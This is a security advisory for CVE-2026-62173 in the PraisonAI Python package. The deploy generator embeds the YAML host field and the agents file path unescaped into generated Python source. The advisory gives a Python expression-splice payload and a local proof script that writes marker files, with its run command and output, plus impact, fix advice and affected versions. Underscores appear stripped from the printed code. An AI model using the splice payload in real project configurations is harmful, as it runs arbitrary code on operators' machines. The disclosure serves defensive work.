PT-2026-108711 · Pypi · Praisonai

CVE-2026-62173

·

Publicado

2026-10-08

·

Atualizado

2026-10-08

CVSS v3.1

7.8

Alta

VetorAV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

API deploy code generator embeds unescaped YAML fields into Python source

Summary

PraisonAI's API deployment generator copies deploy.api.host from agents.yaml directly into generated Python source without safe literal encoding. A malicious PraisonAI project can set that host value to a Python expression splice; when an operator runs the API deploy flow, the generated server source compiles and executes the injected expression at startup. The same generator also embeds agents file directly into generated route-handler expressions, giving a second route-time source injection site if the agent file path is attacker-controlled.

Technical Details

The vulnerable path starts with deployment configuration parsing. Deploy.from yaml() reads the operator-supplied agents.yaml, validate agents yaml() accepts deploy.api.host as a string, and API deployments call start api server(self.agents file, self.config.api). start api server() calls generate api server code() and executes the generated Python file with python.
The current generator in src/praisonai/praisonai/deploy/api.py treats deployment data as Python syntax:
python
def generate api server code(agents file: str, config: Optional[APIConfig] = None) -> str:
  ...
  code = f'''"""
...
    praisonai = PraisonAI(agent file="{agents file}")
...
    "agent file": "{agents file}"
...
  app.run(
    host='{config.host}',
    port={config.port},
    debug={config.reload}
  )
'''
The violated invariant is that deployment configuration values should remain inert strings. Instead, config.host is inserted between single quotes in generated Python source. A value like this breaks out of the generated string literal and evaluates a Python expression:
text
' + ( import ("pathlib").Path("poc.txt").write text("DEPLOY API HOST CODE EXECUTED") and "") + '
The generated startup code then becomes equivalent to:
python
app.run(
  host='' + ( import ("pathlib").Path("poc.txt").write text("DEPLOY API HOST CODE EXECUTED") and "") + '',
  port=8005,
  debug=False,
)
That expression executes before Flask handles any request. This is not a shell parsing issue and not just direct use of an unsafe Python API; it is a data-to-code transformation in the deployment generator.
agents file has the same class of unsafe source interpolation in two generated route-handler expressions. A value shaped as " + (<side effect> and "") + " remains valid both in PraisonAI(agent file=...) and in the /agents JSON response expression, so it executes when the generated handler evaluates that value.

PoV

The following local-only PoV stubs Flask and PraisonAI so it does not start a listener, invoke a model provider, or contact any external service. It proves that a malicious host value survives YAML schema parsing and executes when the generated server module is evaluated as main; it also includes a safe-host negative control and the secondary agents file route-time interpolation check.
python
from pathlib import Path
import json
import sys
import tempfile
import types

import yaml


def install stubs():
  class FakeApp:
    def  init (self, name):
      self.name = name

    def route(self, *args, **kwargs):
      def deco(func):
        return func

      return deco

    def run(self, *args, **kwargs):
      return None

  flask = types.ModuleType("flask")
  flask.Flask = FakeApp
  flask.request = types.SimpleNamespace(headers={}, get json=lambda: {"message": "hello"})
  flask.jsonify = lambda obj: obj
  sys.modules["flask"] = flask

  flask cors = types.ModuleType("flask cors")
  flask cors.CORS = lambda app: app
  sys.modules["flask cors"] = flask cors

  praisonai mod = types.ModuleType("praisonai")

  class FakePraisonAI:
    def  init (self, agent file):
      self.agent file = agent file

    def run(self):
      return "ok"

  praisonai mod.PraisonAI = FakePraisonAI
  sys.modules["praisonai"] = praisonai mod


def main(repo):
  sys.path.insert(0, str(Path(repo) / "src" / "praisonai"))
  from praisonai.deploy.api import generate api server code
  from praisonai.deploy.models import APIConfig
  from praisonai.deploy.schema import validate agents yaml

  install stubs()

  with tempfile.TemporaryDirectory() as tmp:
    tmp path = Path(tmp)
    host marker = tmp path / "host-marker.txt"
    file marker = tmp path / "agent-file-marker.txt"
    host payload = "' + ( import ("pathlib").Path(" + repr(str(host marker)) + ").write text("DEPLOY API HOST CODE EXECUTED") and "") + '"
    agents yaml = tmp path / "agents.yaml"
    agents yaml.write text(yaml.safe dump({
      "deploy": {
        "type": "api",
        "api": {"host": host payload, "port": 8005, "auth enabled": False},
      },
      "agents": [{"name": "demo", "role": "demo", "goal": "demo"}],
    }))
    parsed config = validate agents yaml(str(agents yaml))

    results = []
    for label, config in [
      ("safe host", APIConfig(host="127.0.0.1", auth enabled=False)),
      ("malicious host from yaml", parsed config.api),
    ]:
      host marker.unlink(missing ok=True)
      code = generate api server code("agents.yaml", config)
      compile(code, f"<generated-{label}>", "exec")
      exec(code, {" name ": " main "})
      results.append({
        "case": label,
        "compiled": True,
        "host preserved by yaml parser": config.host == host payload if label.startswith("malicious") else None,
        "marker exists after startup": host marker.exists(),
        "marker contents": host marker.read text() if host marker.exists() else None,
        "generated contains raw host": config.host in code,
      })

    file payload = "" + ( import ("pathlib").Path(" + repr(str(file marker)) + ").write text("DEPLOY API AGENT FILE CODE EXECUTED") and "") + ""
    file marker.unlink(missing ok=True)
    code = generate api server code(file payload, APIConfig(host="127.0.0.1", auth enabled=False))
    compile(code, "<generated-agent-file>", "exec")
    namespace = {" name ": "generated agent file"}
    exec(code, namespace)
    namespace["list agents"]()
    results.append({
      "case": "malicious agent file route value",
      "compiled": True,
      "marker exists after list agents": file marker.exists(),
      "marker contents": file marker.read text() if file marker.exists() else None,
      "generated contains raw agent file": file payload in code,
    })

  print(json.dumps(results, indent=2))
  return 0 if results[1]["marker exists after startup"] and results[2]["marker exists after list agents"] else 1


if  name  == " main ":
  raise SystemExit(main(sys.argv[1] if len(sys.argv) > 1 else "."))

PoC

Command used against current source:
sh
uv run --with pydantic --with pyyaml python pov deploy api config injection.py /path/to/PraisonAI
Decisive output:
json
[
 {
  "case": "safe host",
  "compiled": true,
  "host preserved by yaml parser": null,
  "marker exists after startup": false,
  "marker contents": null,
  "generated contains raw host": true
 },
 {
  "case": "malicious host from yaml",
  "compiled": true,
  "host preserved by yaml parser": true,
  "marker exists after startup": true,
  "marker contents": "DEPLOY API HOST CODE EXECUTED",
  "generated contains raw host": true
 },
 {
  "case": "malicious agent file route value",
  "compiled": true,
  "marker exists after list agents": true,
  "marker contents": "DEPLOY API AGENT FILE CODE EXECUTED",
  "generated contains raw agent file": true
 }
]
The safe host negative control compiles and evaluates the generated module without a marker side effect. The malicious host from yaml case proves the YAML parser preserved the malicious host as a config string and the generated server executed it at startup. The malicious agent file route value case proves the secondary file-path interpolation executes when the generated /agents handler evaluates the generated response.

Impact

If an operator deploys a malicious PraisonAI project configuration, arbitrary Python can execute in the deploy process when the generated API server starts. That process can access the operator's environment, source tree, local files, model/API credentials, and deployment credentials. This is a project-configuration supply-chain issue rather than an unauthenticated remote endpoint: the security boundary is that deployment config values should stay data and not become executable Python source.

Suggested Fix

Do not interpolate deployment values directly into generated Python source. Use repr() or json.dumps() for every generated Python literal, or load runtime values from a JSON sidecar, environment variable, or command-line argument instead of embedding them into source. For the current generator, replace host='{config.host}' with a safely encoded literal such as host={config.host!r}, and apply the same safe encoding to agents file in both generated sites. Add regression tests with host and agent-file values containing quotes, newlines, and expression-splice strings; the generated source should compile and treat those values as inert strings.

Affected Package/Versions

Package: praisonai
Confirmed current head: 1620b49f36945d8cc8ee5635b906c960df5097a0
Static sweep:
TargetResult
v4.5.128affected; raw agents file and config.host interpolation present
v4.6.58affected; raw agents file and config.host interpolation present
v4.6.59affected; raw agents file and config.host interpolation present
v4.6.60affected; raw agents file and config.host interpolation present
v4.6.62affected; raw agents file and config.host interpolation present
v4.6.63affected; raw agents file and config.host interpolation present
current 1620b49faffected; raw agents file and config.host interpolation present
Suggested severity: High
Suggested CVSS v3.1:
text
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Suggested CWEs:
  • CWE-94: Improper Control of Generation of Code
  • CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code
  • CWE-116: Improper Encoding or Escaping of Output

Advisory History

The closest same-generator comparator is GHSA-8444-4fhq-fxpq, "PraisonAI deploy --type api emits a Flask server with authentication disabled by default." That advisory concerns the security posture of the generated Flask API server: missing authentication by default. This report is different: authentication can be enabled or disabled and the issue still exists because generate api server code() emits deployment strings as Python syntax. The exploit primitive is generated-source injection from deploy.api.host and agents file, not unauthenticated request access to the generated API.
This is also distinct from GHSA-6rmh-7xcm-cpxj / CVE-2026-44338, which addressed a legacy generated API server authentication issue. Both authentication advisories are useful context because they involve generated API server deployment, but neither covers unsafe literal encoding or Python expression injection in generate api server code().
AgentOS, AgentTeam, A2U, MCP, and recipe-server authentication bypass reports are separate server-surface issues. Their root cause is missing request authentication or bind-policy enforcement, while this report's root cause is unsafe code generation before the server handles traffic.

References

Correção

Improper Encoding or Escaping of Output

Code Injection

Eval Injection

Encontrou algum problema na descrição? Tem algo a acrescentar? Fique à vontade para nos escrever 👾

Enumeração de Fraquezas

Identificadores relacionados

CVE-2026-62173
GHSA-79FV-7HQ9-W7XG

Produtos afetados

Praisonai